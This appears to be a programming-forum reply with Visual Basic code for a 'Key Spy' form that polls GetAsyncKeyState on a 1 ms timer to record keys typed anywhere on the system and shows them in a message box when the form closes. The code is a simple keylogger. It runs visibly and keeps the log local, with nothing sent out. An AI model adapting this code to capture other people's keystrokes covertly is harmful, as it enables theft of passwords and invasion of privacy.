Another way is with a timer. Not very accurate (if the user types fast)

VB Code:
  1. 'In a module
  2. Public Const DT_CENTER = &H1
  3. Public Const DT_WORDBREAK = &H10
  4. Type RECT
  5.     Left As Long
  6.     Top As Long
  7.     Right As Long
  8.     Bottom As Long
  9. End Type
  10. Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
  11. Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
  12. Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
  13. Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  14. Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
  15. Global Cnt As Long, sSave As String, sOld As String, Ret As String
  16. Dim Tel As Long
  17. Function GetPressedKey() As String
  18.     For Cnt = 32 To 128
  19.         'Get the keystate of a specified key
  20.         If GetAsyncKeyState(Cnt) <> 0 Then
  21.             GetPressedKey = Chr$(Cnt)
  22.             Exit For
  23.         End If
  24.     Next Cnt
  25. End Function
  26. Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
  27.     Ret = GetPressedKey
  28.     If Ret <> sOld Then
  29.         sOld = Ret
  30.         sSave = sSave + sOld
  31.     End If
  32. End Sub
  33.  
  34. 'In a form
  35. Private Sub Form_Load()
  36. Me.Caption = "Key Spy"
  37.     'Create an API-timer
  38.     SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
  39. End Sub
  40.  
  41. Private Sub Form_Unload(Cancel As Integer)
  42.     'Kill our API-timer
  43.     KillTimer Me.hwnd, 0
  44.     'Show all the typed keys
  45.     MsgBox sSave
  46. End Sub